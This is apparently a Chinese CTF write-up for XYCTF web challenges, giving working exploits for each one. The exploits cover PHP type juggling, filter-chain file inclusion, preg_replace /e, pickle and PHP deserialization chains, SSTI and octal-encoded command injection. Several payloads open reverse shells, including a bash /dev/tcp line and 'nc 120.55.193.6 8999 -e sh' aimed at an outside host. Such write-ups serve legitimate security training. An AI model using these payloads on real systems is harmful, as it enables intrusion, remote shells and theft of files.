warm up 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include 'next.php' ;highlight_file (__FILE__ );$XYCTF = "Warm up" ;extract ($_GET );if (isset ($_GET ['val1' ]) && isset ($_GET ['val2' ]) && $_GET ['val1' ] != $_GET ['val2' ] && md5 ($_GET ['val1' ]) == md5 ($_GET ['val2' ])) { echo "ez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if (isset ($md5 ) && $md5 == md5 ($md5 )) { echo "ezez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if ($XY == $XYCTF ) { if ($XY != "XYCTF_550102591" && md5 ($XY ) == md5 ("XYCTF_550102591" )) { echo $level2 ; } else { die ("什么情况,这么基础的md5做不来" ); } } else { die ("学这么久,传参不会传?" ); }
md5 弱比较直接数组或者 0e 绕过
md5 自相等也直接用现成 payload : 0e215962017
extract() 把变量覆盖掉
不难发现XYCTF_550102591其实是一个出题人特制的字符串
md5(‘XYCTF_550102591’) = ‘0E937920457786991080577371025051’
exp
1 index.php?val1[]=1&val2[]=2&md5=0e215962017&XYCTF=s878926199a&XY=s878926199a
/LLeeevvveeelll222.php
1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );if (isset ($_POST ['a' ]) && !preg_match ('/[0-9]/' , $_POST ['a' ]) && intval ($_POST ['a' ])) { echo "操作你O.o" ; echo preg_replace ($_GET ['a' ],$_GET ['b' ],$_GET ['c' ]); } else { die ("有点汗流浃背" ); }
intval参数如果是有内容的数组返回1,可以用这个特性操作它
a[]=1
preg_replace 的 /e 修饰符使其将中间的 replacement 部分当作代码执行
1 2 GET:?a=/a/e&b=system('cat /flag')&c="a" POST a[]=1
将 a 全部替换为 cat /flag 后的内容,不就是 flag 吗
ezLFI filter 链条 下载附件源码:
1 <?php include_once ($_REQUEST ['file' ]);
诶呀这不filter链嘛
贴别人的脚本秒了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import requestsurl = "http://localhost:51650/index.php" file_to_use = "/etc/passwd" command = "/readflag" base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2' , 'B' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' : 'convert.iconv.UTF8.CSISO2022KR' , '8' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'f' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213' , 's' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61' , 'z' : 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' , 'U' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'P' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB' , 'V' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5' , '0' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , 'Y' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2' , 'W' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936' , 'd' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'D' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , '7' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '4' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters} /resource={file_to_use} " print (final_payload)r = requests.get(url, params={ "0" : command, "file" : final_payload }) print (r.text)
login 目录扫描
–》
Starting: 1 2 [10:12:36] 200 - 547B - /login.php [10:13:36] 200 - 556B - /register.php
先注册,再登录
登录后点击 redirect ,抓包
==》
RememberMe=gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBYZSMA3B3ZJRoBnViLg==
解码后是类似 pickle 的形式
1 BM¹¾I$I$I°*`2Ý°_ô%^Vܸ»Ê¸?ÝNM^ó UVÈ%óÝ°9CöÝX~R½
考虑 pickle 反序列化
经过测试一下,发现过滤了字符 r,也就是不能用 R 指令,那我们用其他指令即可
1 2 3 4 5 6 7 import base64op='''V__setstate__ (S"bash -c 'bash -i >& /dev/tcp/X.X.X.X/port 0>&1'" ios system .''' print (base64.b64encode(op.encode()))
把网页主页的 cookie 改为这个脚本生成的 payload,再拿服务器反弹 shell 即可
give me flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ('flag.php' );$FLAG_md5 = md5 ($FLAG );if (!isset ($_GET ['md5' ]) || !isset ($_GET ['value' ])){ highlight_file (__FILE__ ); die ($FLAG_md5 ); } $value = $_GET ['value' ];$md5 = $_GET ['md5' ];$time = time ();if (md5 ($FLAG .$value .$time )===$md5 ){ echo "yes, give you flag: " ; echo $FLAG ; } cc730a4fdf0b9c30e6adbd899d4a1a0f
做不出
我是一个复读机 ssti 扫描得到 /console
1 2 Console Locked The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server.
但似乎没什么用
admin 账号密码爆破 –》 admin:
密码是asdqwe
进去之后有个IO界面
只不过禁止了双括号和括号百分号
但是根据题目提示,只让输英文,我们输入中文字符,发现中文字符后,有双括号出现,并且是两个中文字符才有
因此我们猜测不是英文的字符会被replace之类的,试图SSTI
我们不妨输入
二1+1三
后边我的两边夹的就是一(yi)了,因为好看)
过滤了
“ , ‘ [ ] flag _ os 等,没有过滤request,考虑用request.arg用get绕过
构造
1 ?sentence=星(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()星&a=__globals__&b=os&c=cat%20 /flag
在c处有shell
fenjing 一把梭 ezLFI 1 <?php include_once ($_REQUEST ['file' ]);
php://filter 可读
php://input
filter_chains exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 # -*- coding: utf-8 -*- import requests #����file url = "http://gz.imxbt.cn:20501/" file_to_use = "/etc/passwd" command = "/readflag" #��������Ļ�Ӧ������ls��Ŀ¼������readflag�ļ�����flag��ֱ��ͨ��cat��ȡ������/readflag #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" print(final_payload) r = requests.get(url, params={ "0": command, #"action": "include", "file": final_payload }) print(r.text)
ezRce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );function waf ($cmd ) { $white_list = ['0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ,'\\' ,'\'' ,'$' ,'<' ]; $cmd_char = str_split ($cmd ); foreach ($cmd_char as $char ){ if (!in_array ($char , $white_list )){ die ("really ez?" ); } } return $cmd ; } $cmd =waf ($_GET ["cmd" ]);system ($cmd );
一眼无字母RCE,典中典了属于是,八进制绕过就好
知识点:linux中使用$’xxx’(xxx为字符的八进制)的形式可以执行任意代码
发现可以成功执行
但是八进制的执行方法不能执行带有参数的linux命令,如cat /flag(/flag为参数)或ls -la(-la为参数)
具体原因参照bash的单词分割机制
但是出题人还是想给我们flag的,网开一面留了个’<’号
众所周知,重定向符号可以代替命令中的空格
所以payload就浮出水面啦!
题目中是 system($cmd),允许数字,’ , < ,\
cat –> ( 8 进制 ) \143\141\164
\flag –> \57\146\154\141\147
exp
1 $'\143\141\164'<$'\57\146\154\141\147'
ez_class php原生类 rce 1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );$a =$_GET ['a' ];$aa =$_GET ['aa' ];$b =$_GET ['b' ];$bb =$_GET ['bb' ];$c =$_GET ['c' ];((new $a ($aa ))->$c ())((new $b ($bb ))->$c ());
php原生类 参考 https://www.php.net/manual/zh/error.getmessage.php
所以基本思路就是创建两个error类分别给system和cat /flag两个参数,再用getMessage方法把输进去的参数当作字符串返回
示例:
1 GET: ?a=Error &aa=system&c=getMessage&b=Error &bb=ls
等同于:
1 ((new Error('system'))->getMessage())((new $Error('ls'))->getMessage())
等同于:
构造payload拿到flag
最终payload
1 GET: ?a=Error &aa=system&c=getMessage&b=Error &bb=cat%20 /flag
ez_http /robots –》 账号密码
exp
1 2 3 4 5 Referer: yuanshen.com // 从yuanshen.com来的 User-Agent: XYCTF // 用XYCTF浏览器 Client-IP: 127.0.0.1 // 本地用户,不用xff(X-Forward-For) Via: ymzx.qq.com // 从ymzx.qq.com代理 Cookie: XYCTF // XYCTF的小饼干(Cookie)
ex_MAKE Makefile Content: 1 2 3 4 5 6 7 8 9 10 11 SHELL := /bin/bash ifndef PATH override PATH := else override PATH := endif .PHONY: FLAG FLAG: ./flag 3
解释
SHELL 设置 :明确指定使用 /bin/bash
。
PATH 设置 :清空 PATH
,确保后续命令只能使用当前目录下的可执行文件。
.PHONY 目标 :定义 FLAG
为一个伪目标,确保即使存在同名文件,make FLAG
也会执行。
生成 ./flag 的规则 :添加了生成 ./flag
的具体步骤,这里只是简单地创建一个空文件。
使用方法 运行以下命令来执行 FLAG
目标:
bash复制
这将生成 ./flag
文件。
如果你有更具体的需求,比如从源代码编译生成 ./flag
,可以进一步调整规则。例如:
makefile复制
1 2 ./flag: flag.c $(CC) $(CFLAGS) -o ./flag flag.c
这样,./flag
将由 flag.c
编译生成。
正常做法是makefile读取文件内容,在Makefile中,你可以使用$(shell)函数来读取文件内容。
假设你的文件名为file.txt,你可以使用以下命令来读取文件内容:
1 content := $(shell cat file.txt)
上述命令将文件file.txt的内容存储在变量content中。你可以根据需要将其用于后续的操作。
如果你需要按行读取文件内容,可以使用$(shell)函数和foreach函数的结合:
1 lines := $(shell cat file.txt) $(foreach line,$(lines), \ $(info $(line)) \ )
把file.txt改成flag即可。
==》
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Makefile Enter Command: content:=$(shell cat flag) Makefile Content: SHELL := /bin/bash ifndef PATH override PATH := else override PATH := endif .PHONY: FLAG FLAG: ./flag $(shell cat flag) Output: XYCTF{22f63a5d-1f31-4622-a0ae-7ecb3fcc3865} /bin/bash: line 1: XYCTF{22f63a5d-1f31-4622-a0ae-7ecb3fcc3865}: No such file or directory make: *** [Makefile:11: FLAG] Error 127
因为这里的 PATH 环境变量没有了,所以 $() 包一下shell来执行 cat 即可
ez?_MAKE 1 2 3 4 SHELL := /bin/bash .PHONY: FLAG FLAG: /flag 1
FUZZ 一下,过滤了很多命令,直接反弹shell就行了
exp
1 nc 120.55.193.6 8999 -e sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );function Kobe ($cmd ) { if (strlen ($cmd ) > 13 ) { die ("see you again~" ); } if (preg_match ("/echo|exec|eval|system|fputs|\.|\/|\\|/i" , $cmd )) { die ("肘死你" ); } foreach ($_GET as $val_name => $val_val ) { if (preg_match ("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i" , $val_val )) { return "what can i say" ; } } return $cmd ; } $cmd = Kobe ($_GET ['cmd' ]);echo "#man," . $cmd . ",manba out" ;echo "<br>" ;eval ("#man," . $cmd . ",mamba out" );
字符串长度不超过 13 + 内容过滤
未过滤 $ _ ,构变量逃逸
记得eval中的命令都必须要加分号。
1 ?cmd=eval($_GET[1]);&1=system('ls');
注:
1 $cmd = eval('system("dir");');
这样的命令才是正确的
过滤了 eval 使用反引号rce
1 ?cmd=`$_GET[1]`;&1=system('ls');
%0a 绕过 注释
井号注释掉后面的内容
exp1
1 ?cmd=%0a`$_GET[1]`;%23&1=nc 120.55.193.6 8999 -e sh
exp2
$val_val 未过滤掉 $,,数字,直接8进制绕过
1 ?cmd=%0a`$_GET[1]`;%23&1=$'\143\141\164'<$'\57\146\154\141\147' //cat < /flag
因为没有回显,所以不能用这个
1 ?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\61\56\164\170\164' //cp /flag 1.txt
访问 1.txt ,得到命令执行内容
MAKE file 白名单 1 /^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/
1 2 3 4 5 6 7 8 9 10 11 SHELL := /bin/bash ifndef PATH override PATH := else override PATH := endif .PHONY: FLAG FLAG: /flag $
需要利用makefile的自动变量
https://www.cnblogs.com/lelin/p/11152780.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 二、$@、$^、$< 这三个分别表示: $@ --代表目标文件(target) $^ --代表所有的依赖文件(components) $< --代表第一个依赖文件(components中最左边的那个)。 $? --代表示比目标还要新的依赖文件列表。以空格分隔。 $% --仅当目标是函数库文件中,表示规则中的目标成员名。例如,如果一个目标是"foo.a(bar.o)",那么,"$%"就是"bar.o","$@"就是"foo.a"。如果目标不是函数库文件(Unix下是[.a],Windows下是[.lib]),那么,其值为空。 三 ' - ' 符号的使用 通常删除,创建文件如果碰到文件不存在或者已经创建,那么希望忽略掉这个错误,继续执行,就可以在命令前面添加 -, -rm dir; -mkdir aaadir; ' $ '符号的使用 美元符号$,主要扩展打开makefile中定义的变量 ' $$ '符号的使用 $$ 符号主要扩展打开makefile中定义的shell变量
那么,在这个环境中 $< 就代表 flag,$$ 就代表指定的 shell
exp
1 $$(<$<) /这样重定向直接报错带出 flag
连连看 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file(__FILE__); error_reporting(0); $p=$_GET['p']; if(preg_match("/http|=|php|file|:|\/|\?/i", $p)) { die("waf!"); } $payload="php://filter/$p/resource=/etc/passwd"; if(file_get_contents($payload)==="XYCTF"){ echo file_get_contents('/flag'); }
一眼 filter链指定数据读取
–chain “XCTF”
同时处理脏数据,利用 string.strip_tags 剥离页面标签
1 python php_filter_chain_generator.py --chain "XYCTF<?php"
修改payload打入即可
ez_pop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting (0 );highlight_file (__FILE__ );class AAA { public $s ; public $a ; public function __toString ( ) { echo "you get 2 A <br>" ; $p = $this ->a; return $this ->s->$p ; } } class BBB { public $c ; public $d ; public function __get ($name ) { echo "you get 2 B <br>" ; $a =$_POST ['a' ]; $b =$_POST ; $c =$this ->c; $d =$this ->d; if (isset ($b ['a' ])) { unset ($b ['a' ]); } call_user_func ($a ,$b )($c )($d ); } } class CCC { public $c ; public function __destruct ( ) { echo "you get 2 C <br>" ; echo $this ->c; } } if (isset ($_GET ['xy' ])) { $a = unserialize ($_GET ['xy' ]); throw new Exception ("noooooob!!!" ); }
1 CCC.__destruct -> AAA.__toString -> BBB.__get
关键部分解释
1 2 3 4 5 6 7 8 $a=$_POST['a']; $b=$_POST; $c=$this->c; $d=$this->d; if (isset($b['a'])) { unset($b['a']); } call_user_func($a,$b)($c)($d);
$a 为 post 传入的 a 值,$b 是 post 传参的数组,如果 post 数组里存在 a,就移除 $b 数组中 a 这个键,那么$b 就是一个不含a键的数组
传入 a=implode&b=strrev ,c=metsys,$d=ls
等价于 call_user_func(‘implode’,[“strrev”])(‘metsys’)(‘ls’)
现在就有整体思路了,先 array($c,null) 然后 i:1 -> i:0 绕过回收机制,然后进入简单的链条,利用 call_user_func 命令执行
1 2 3 http://gz.imxbt.cn:20668/?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";s:7:"fuckyou";}}i:0;N;} a=implode&b=strrev
ezSerialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include 'flag.php' ;highlight_file (__FILE__ );error_reporting (0 );class Flag { public $token ; public $password ; public function __construct ($a , $b ) { $this ->token = $a ; $this ->password = $b ; } public function login ( ) { return $this ->token === $this ->password; } } if (isset ($_GET ['pop' ])) { $pop = unserialize ($_GET ['pop' ]); $pop ->token=md5 (mt_rand ()); if ($pop ->login ()) { echo $flag ; } }
引用绕过即可
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Flag { public $token; public $password; } $exp = new Flag(); $exp -> password = &$exp -> token; echo serialize($exp); //O:4:"Flag":2:{s:5:"token";N;s:8:"password";R:2;}
下一关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php highlight_file (__FILE__ );class A { public $mack ; public function __invoke ( ) { $this ->mack->nonExistentMethod (); } } class B { public $luo ; public function __get ($key ) { echo "o.O<br>" ; $function = $this ->luo; return $function (); } } class C { public $wang1 ; public function __call ($wang1 ,$wang2 ) { include 'flag.php' ; echo $flag2 ; } } class D { public $lao ; public $chen ; public function __toString ( ) { echo "O.o<br>" ; return is_null ($this ->lao->chen) ? "" : $this ->lao->chen; } } class E { public $name = "xxxxx" ; public $num ; public function __unserialize ($data ) { echo "<br>学到就是赚到!<br>" ; echo $data ['num' ]; } public function __wakeup ( ) { if ($this ->name!='' || $this ->num!='' ){ echo "旅行者别忘记旅行的意义!<br>" ; } } } if (isset ($_POST ['pop' ])) { unserialize ($_POST ['pop' ]);
E#__unserialize -> D#__toString -> B#__get -> A#invoke -> C#__call
这里会先调用 __unserialize,因为没有 __serialize()
返回数组,所以这里 $data 会被当作键值对,$data[‘num’] 可看作是 num 属性值
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class A { public $mack ; } class B { public $luo ; } class C { public $wang1 ; } class D { public $lao ; public $chen ; } class E { public $name ; public $num ; } $e = new E ();$e -> num = new D ();$e -> num -> lao = new B ();$e -> num -> chen = "fuckyou" ;$e -> num -> lao -> luo = new A ();$e -> num -> lao -> luo -> mack = new C ();echo serialize ($e );
下一关: saber_master_saber_master.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php error_reporting (0 );highlight_file (__FILE__ );class XYCTFNO1 { public $Liu ; public $T1ng ; private $upsw1ng ; public function __construct ($Liu , $T1ng , $upsw1ng = Showmaker ) { $this ->Liu = $Liu ; $this ->T1ng = $T1ng ; $this ->upsw1ng = $upsw1ng ; } } class XYCTFNO2 { public $crypto0 ; public $adwa ; public function __construct ($crypto0 , $adwa ) { $this ->crypto0 = $crypto0 ; } public function XYCTF ( ) { if ($this ->adwa->crypto0 != 'dev1l' or $this ->adwa->T1ng != 'yuroandCMD258' ) { return False; } else { return True; } } } class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght = "Crypto0" ; public function __construct ($KickyMu , $fpclose ) { $this ->KickyMu = $KickyMu ; $this ->fpclose = $fpclose ; } public function XY ( ) { if ($this ->N1ght == 'oSthing' ) { echo "WOW, You web is really good!!!\n" ; echo new $_POST ['X' ]($_POST ['Y' ]); } } public function __wakeup ( ) { if ($this ->KickyMu->XYCTF ()) { $this ->XY (); } } } if (isset ($_GET ['CTF' ])) { unserialize ($_GET ['CTF' ]); }
主要是这一段:$this->adwa->crypto0 != ‘dev1l’ or $this->adwa->T1ng != ‘yuroandCMD258’
我们知道crypto0和T1ng分别在两个类中,adwa不可能既是XYCTFNO2的对象又是XYCTFNO1的对象。
但反序列化的本质,是我们传入的字符串,而不是题目里的,我们完全在XYCTFNO1类里装入crypto0和T1ng两个属性,并让adwa成为这个类的一个Object
后面读取 flag.php 时直接利用原生类
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php class XYCTFNO1 { public $Liu ; public $T1ng = 'yuroandCMD258' ; public $crypto0 = 'dev1l' ; } class XYCTFNO2 { public $crypto0 ; public $adwa ; public function XYCTF ( ) { if ($this ->adwa->crypto0 != 'dev1l' or $this ->adwa->T1ng != 'yuroandCMD258' ) { return False; } else { return True; } } } class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght = "oSthing" ; public function XY ( ) { if ($this ->N1ght == 'oSthing' ) { echo "WOW, You web is really good!!!\n" ; echo new $_POST ['X' ]($_POST ['Y' ]); } } public function __wakeup ( ) { if ($this ->KickyMu->XYCTF ()) { $this ->XY (); } } } $xy3 = new XYCTFNO3 ();$xy3 -> KickyMu = new XYCTFNO2 ();$xy3 -> KickyMu -> adwa = new XYCTFNO1 ();echo serialize ($xy3 );
pharme 源码 –》 class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );highlight_file (__FILE__ );class evil { public $cmd ; public $a ; public function __destruct ( ) { if ('ch3nx1' === preg_replace ('/;+/' ,'ch3nx1' ,preg_replace ('/[A-Za-z_\(\)]+/' ,'' ,$this ->cmd))){ eval ($this ->cmd.'isbigvegetablechicken!' ); } else { echo 'nonono' ; } } } if (isset ($_POST ['file' ])){ if (preg_match ('/^phar:\/\//i' ,$_POST ['file' ])) { die ("nonono" ); } file_get_contents ($_POST ['file' ]);
1 2 3 4 preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_]+/','',$this->cmd)))这段正则是将输入中的字母、下划线和括号都移除,并将连续的分号替换为字符串 'ch3nx1' ,最后与'ch3nx1'比较判真 其实就是个白名单,只能含有字母A-Z,a-z,下划线_和左右括号(),其实也就是无参RCE 此外,eval中的字符串是拼接的,且不能用#和//进行注释,则要用__halt_compiler来终止编译
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class evil { public $cmd ="readfile(array_rand(array_flip(scandir(dirname(dirname(dirname(pos(localeconv()))))))));__halt_compiler();" ; } $a =new evil ();@unlink ("phar.phar" ); $phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
上传遇到 hacker
后端会检查我们上传的文件里是否含有__halt_compiler();
这里会检测文件的后缀,抓包将压缩包名称改为改为 png 即可
1 2 3 Content-Disposition: form-data; name="file"; filename="phar.jpg" Content-Type: image/png
上传成功后,在 class.php 处进行 file_get_contents($_POST[‘file’]);读取 ,利用 phar为协议
现在需要绕过以 phar 开头
法一:
1 compress.bzip://phar:///test.phar
1 compress.bzip://phar:///tmp/ed54ee58cd01e120e27939fe4a64fa92.png
法二:嵌套伪协议
1 file=php://filter/convert.base64-encode/resource=phar:///tmp/23f1a0f70f076b42b5b49f24ee28f696.png
参考 https://www.yuque.com/infernity/wps/rfpnkn0293l7cp09#ezMake
https://www.cnblogs.com/LAMENTXU/articles/18147817
题解全 https://blog.csdn.net/uuzeray/article/details/138274291